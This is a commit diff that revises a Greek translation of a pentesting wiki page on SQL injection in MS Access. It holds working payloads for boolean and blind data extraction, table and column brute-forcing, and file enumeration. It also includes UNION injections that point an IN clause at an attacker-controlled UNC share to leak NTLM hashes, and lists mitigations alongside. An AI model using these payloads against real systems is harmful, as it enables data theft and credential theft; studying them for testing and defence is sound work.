Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:16 +00:00
parent 590210874f
commit aa99360cc5

View File

@ -4,7 +4,7 @@
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
@ -50,19 +50,19 @@
> [!WARNING]
> Αυτό θα σας επιτρέψει να εξάγετε τιμές του τρέχοντος πίνακα χωρίς να χρειάζεται να γνωρίζετε το όνομα του πίνακα.
**MS Access** επιτρέπει **παράξενες συνταγές** όπως **`'1'=2='3'='asd'=false`**. Όπως συνήθως, η SQL injection θα είναι μέσα σε μια **`WHERE`** ρήτρα και μπορούμε να το εκμεταλλευτούμε αυτό.
**MS Access** επιτρέπει **παράξενη σύνταξη** όπως **`'1'=2='3'='asd'=false`**. Όπως συνήθως, η SQL injection θα είναι μέσα σε μια **`WHERE`** ρήτρα και μπορούμε να το εκμεταλλευτούμε αυτό.
Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα **όνομα στήλης είναι username**, και αυτό είναι το πεδίο που θέλετε να **εξάγετε**. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια **boolean injection** χρησιμοποιώντας τη συνάρτηση **`Mid`** για να αποκτήσετε υποσυμβολοσειρές.
Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα **όνομα στήλης είναι username**, και αυτό είναι το πεδίο που θέλετε να **εξάγετε**. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια **boolean injection** χρησιμοποιώντας τη λειτουργία **`Mid`** για να αποκτήσετε υποσυμβολοσειρές.
```sql
'=(Mid(username,1,3)='adm')='
```
Αν γνωρίζετε το **όνομα του πίνακα** και τη **στήλη** που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ `Mid`, `LAST` και `TOP` για να **διαρρεύσετε όλες τις πληροφορίες** μέσω boolean SQLi:
Αν γνωρίζετε το **όνομα του πίνακα** και **στήλης** που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ `Mid`, `LAST` και `TOP` για να **διαρρεύσετε όλες τις πληροφορίες** μέσω boolean SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Μη διστάσετε να το ελέγξετε στο διαδικτυακό playground._
### Brute-forcing ονόματα πινάκων
### Brute-forcing Table names
Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να **bruteforce ονόματα πινάκων** με κάτι σαν:
```sql
@ -77,9 +77,9 @@ _Μη διστάσετε να το ελέγξετε στο διαδικτυακ
- Sqlmap κοινά ονόματα πινάκων: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Υπάρχει μια άλλη λίστα στο [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Βίαιη Δοκιμή Ονομάτων Στηλών
### Brute-Forcing Ονόματα Στηλών
Μπορείτε να **βίαια δοκιμάσετε τα τρέχοντα ονόματα στηλών** με το κόλπο της αλυσίδας ίσων με:
Μπορείτε να **brute-force τα τρέχοντα ονόματα στηλών** με το κόλπο της αλυσίδας ίσων με:
```sql
'=column_name='
```
@ -101,18 +101,28 @@ IIF((select mid(last(username),1,1) from (select top 10 username from users))='a
```
Σε γενικές γραμμές, το ερώτημα χρησιμοποιεί μια δήλωση “if-then” προκειμένου να ενεργοποιήσει ένα “200 OK” σε περίπτωση επιτυχίας ή ένα “500 Internal Error” διαφορετικά. Εκμεταλλευόμενοι τον τελεστή TOP 10, είναι δυνατόν να επιλεγούν τα πρώτα δέκα αποτελέσματα. Η επακόλουθη χρήση του LAST επιτρέπει να εξεταστεί μόνο η 10η πλειάδα. Σε αυτή την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατόν να πραγματοποιηθεί μια απλή σύγκριση χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να εξάγουμε το περιεχόμενο του πεδίου “username” για όλες τις γραμμές.
### Χρόνος Βασισμένος
### Χρόνος-Βασισμένα (Blind) Τέχνασμα
Δείτε [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Το Jet/ACE SQL από μόνο του **δεν** εκθέτει μια εγγενή συνάρτηση `SLEEP()` ή `WAITFOR`, οπότε οι παραδοσιακές χρονοβασισμένες blind επιθέσεις είναι περιορισμένες. Ωστόσο, μπορείτε ακόμα να εισάγετε μια μετρήσιμη καθυστέρηση αναγκάζοντας την μηχανή να έχει πρόσβαση σε μια **δικτυακή πηγή που είναι αργή ή δεν απαντά**. Επειδή η μηχανή θα προσπαθήσει να ανοίξει το αρχείο πριν επιστρέψει το αποτέλεσμα, ο χρόνος απόκρισης HTTP αντικατοπτρίζει την καθυστέρηση round-trip προς τον ελεγχόμενο από τον επιτιθέμενο υπολογιστή.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Δείξτε τη διαδρομή UNC σε:
### Άλλες Ενδιαφέρουσες συναρτήσεις
* ένα SMB share πίσω από μια σύνδεση υψηλής καθυστέρησης
* έναν υπολογιστή που απορρίπτει το TCP handshake μετά το `SYN-ACK`
* μια τρύπα πυρός
- `Mid('admin',1,1)` παίρνει υποσυμβολο από τη θέση 1 μήκους 1 (η αρχική θέση είναι 1)
- `LEN('1234')` παίρνει το μήκος της συμβολοσειράς
- `ASC('A')` παίρνει την ascii τιμή του χαρακτήρα
- `CHR(65)` παίρνει τη συμβολοσειρά από την ascii τιμή
Οι επιπλέον δευτερόλεπτα που εισάγονται από την απομακρυσμένη αναζήτηση μπορούν να χρησιμοποιηθούν ως **out-of-band timing oracle** για boolean συνθήκες (π.χ. επιλέξτε μια αργή διαδρομή μόνο όταν η εισαγόμενη πρόταση είναι αληθής). Η Microsoft τεκμηριώνει τη συμπεριφορά της απομακρυσμένης βάσης δεδομένων και τον σχετικό διακόπτη kill-switch στο KB5002984. citeturn1search0
### Άλλες Ενδιαφέρουσες λειτουργίες
- `Mid('admin',1,1)` αποκτά υποσυμβολοσειρά από τη θέση 1 μήκους 1 (η αρχική θέση είναι 1)
- `LEN('1234')` αποκτά το μήκος της συμβολοσειράς
- `ASC('A')` αποκτά την ascii τιμή του χαρακτήρα
- `CHR(65)` αποκτά τη συμβολοσειρά από την ascii τιμή
- `IIF(1=1,'a','b')` αν τότε
- `COUNT(*)` Μετράει τον αριθμό των στοιχείων
- `COUNT(*)` Μετρά τον αριθμό των στοιχείων
## Καταμέτρηση πινάκων
@ -126,7 +136,7 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Ωστόσο, σημειώστε ότι είναι πολύ τυπικό να βρείτε SQL Injections όπου **δεν έχετε πρόσβαση για να διαβάσετε τον πίνακα `MSysObjects`**.
Ωστόσο, σημειώστε ότι είναι πολύ συνηθισμένο να βρίσκουμε SQL Injections όπου **δεν έχετε πρόσβαση για να διαβάσετε τον πίνακα `MSysObjects`**.
## Πρόσβαση στο Σύστημα Αρχείων
@ -134,13 +144,13 @@ order by MSysObjects.name
Η γνώση της **απόλυτης διαδρομής ρίζας της ιστοσελίδας μπορεί να διευκολύνει περαιτέρω επιθέσεις**. Εάν τα σφάλματα της εφαρμογής δεν είναι εντελώς κρυμμένα, η διαδρομή του καταλόγου μπορεί να αποκαλυφθεί προσπαθώντας να επιλέξετε δεδομένα από μια ανύπαρκτη βάση δεδομένων.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
Η MS Access απαντά με ένα **μήνυμα σφάλματος που περιέχει την πλήρη διαδρομή του καταλόγου ιστού**.
### Καταμέτρηση Αρχείων
Ο ακόλουθος επιθετικός παράγοντας μπορεί να χρησιμοποιηθεί για να **συμπεράνει την ύπαρξη ενός αρχείου στο απομακρυσμένο σύστημα αρχείων**. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access ενεργοποιεί ένα μήνυμα σφάλματος που ενημερώνει ότι η μορφή της βάσης δεδομένων είναι μη έγκυρη:
Ο ακόλουθος επιθετικός παράγοντας μπορεί να χρησιμοποιηθεί για να **υποδείξει την ύπαρξη ενός αρχείου στο απομακρυσμένο σύστημα αρχείων**. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access ενεργοποιεί ένα μήνυμα σφάλματος που ενημερώνει ότι η μορφή της βάσης δεδομένων είναι μη έγκυρη:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
@ -150,18 +160,51 @@ order by MSysObjects.name
### Μαντεψιά Ονόματος Αρχείου .mdb
**Το όνομα αρχείου βάσης δεδομένων (.mdb)** μπορεί να συμπεραστεί με την ακόλουθη ερώτηση:
**Το όνομα αρχείου βάσης δεδομένων (.mdb)** μπορεί να υποδειχθεί με την ακόλουθη ερώτηση:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Όπου **name\[i] είναι ένα όνομα αρχείου .mdb** και **realTable είναι ένας υπάρχων πίνακας** μέσα στη βάση δεδομένων. Αν και η MS Access θα ενεργοποιήσει πάντα ένα μήνυμα σφάλματος, είναι δυνατόν να διακριθεί μεταξύ ενός μη έγκυρου ονόματος αρχείου και ενός έγκυρου ονόματος αρχείου .mdb.
Όπου **name[i] είναι ένα όνομα αρχείου .mdb** και **realTable είναι ένας υπάρχων πίνακας** μέσα στη βάση δεδομένων. Αν και η MS Access θα ενεργοποιήσει πάντα ένα μήνυμα σφάλματος, είναι δυνατόν να διακριθεί μεταξύ ενός μη έγκυρου ονόματος αρχείου και ενός έγκυρου ονόματος αρχείου .mdb.
### Crack του Κωδικού Πρόσβασης .mdb
### Απομακρυσμένη Πρόσβαση σε Βάση Δεδομένων & Κλοπή Διαπιστευτηρίων NTLM (2023)
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) είναι ένα δωρεάν εργαλείο που μπορεί να χρησιμοποιηθεί για να ανακτήσει τον κύριο κωδικό πρόσβασης της βάσης δεδομένων του Microsoft Access 95/97/2000/XP ή Jet Database Engine 3.0/4.0.
Από την έκδοση Jet 4.0, κάθε ερώτηση μπορεί να αναφέρεται σε έναν πίνακα που βρίσκεται σε ένα *διαφορετικό* αρχείο `.mdb/.accdb` μέσω της ρήτρας `IN '<path>'`:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Αν η είσοδος του χρήστη συνδυαστεί στο μέρος μετά το **IN** (ή σε μια κλήση `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), ένας επιτιθέμενος μπορεί να καθορίσει μια **UNC διαδρομή** που δείχνει σε έναν διακομιστή που ελέγχει. Ο κινητήρας θα:
## Αναφορές
1. προσπαθήσει να πιστοποιηθεί μέσω SMB / HTTP για να ανοίξει τη απομακρυσμένη βάση δεδομένων;
2. διαρρεύσει τα **NTLM διαπιστευτήρια** του διακομιστή ιστού (υποχρεωτική πιστοποίηση);
3. αναλύσει το απομακρυσμένο αρχείο μια κακώς διαμορφωμένη ή κακόβουλη βάση δεδομένων μπορεί να προκαλέσει σφάλματα διαφθοράς μνήμης Jet/ACE που έχουν διορθωθεί πολλές φορές (π.χ. CVE-2021-28455).
Πρακτικό παράδειγμα έγχυσης:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Impact:
* Εξαγωγή Net-NTLMv2 hashes εκτός ζώνης (χρήσιμα για relay ή offline cracking).
* Πιθανή απομακρυσμένη εκτέλεση κώδικα αν εκμεταλλευτεί ένα νέο σφάλμα του Jet/ACE parser.
Mitigations (συνιστάται ακόμη και για legacy Classic ASP εφαρμογές):
* Προσθέστε την τιμή μητρώου `AllowQueryRemoteTables = 0` κάτω από `HKLM\Software\Microsoft\Jet\4.0\Engines` (και κάτω από την αντίστοιχη διαδρομή ACE). Αυτό αναγκάζει το Jet/ACE να απορρίπτει απομακρυσμένες διαδρομές που ξεκινούν με `\\`.
* Εμποδίστε την έξοδο SMB/WebDAV στα όρια του δικτύου.
* Καθαρίστε / παραμετροποιήστε οποιοδήποτε μέρος ενός ερωτήματος που μπορεί να καταλήξει μέσα σε μια ρήτρα `IN`.
Ο φορέας αναγκαστικής αυθεντικοποίησης επανεξετάστηκε από την Check Point Research το 2023, αποδεικνύοντας ότι είναι ακόμα εκμεταλλεύσιμο σε πλήρως ενημερωμένο Windows Server όταν η κλειδί μητρώου είναι απούσα. citeturn0search0
### .mdb Password Cracker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) είναι ένα δωρεάν εργαλείο που μπορεί να χρησιμοποιηθεί για την ανάκτηση του κύριου κωδικού πρόσβασης της βάσης δεδομένων Microsoft Access 95/97/2000/XP ή Jet Database Engine 3.0/4.0.
## References
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}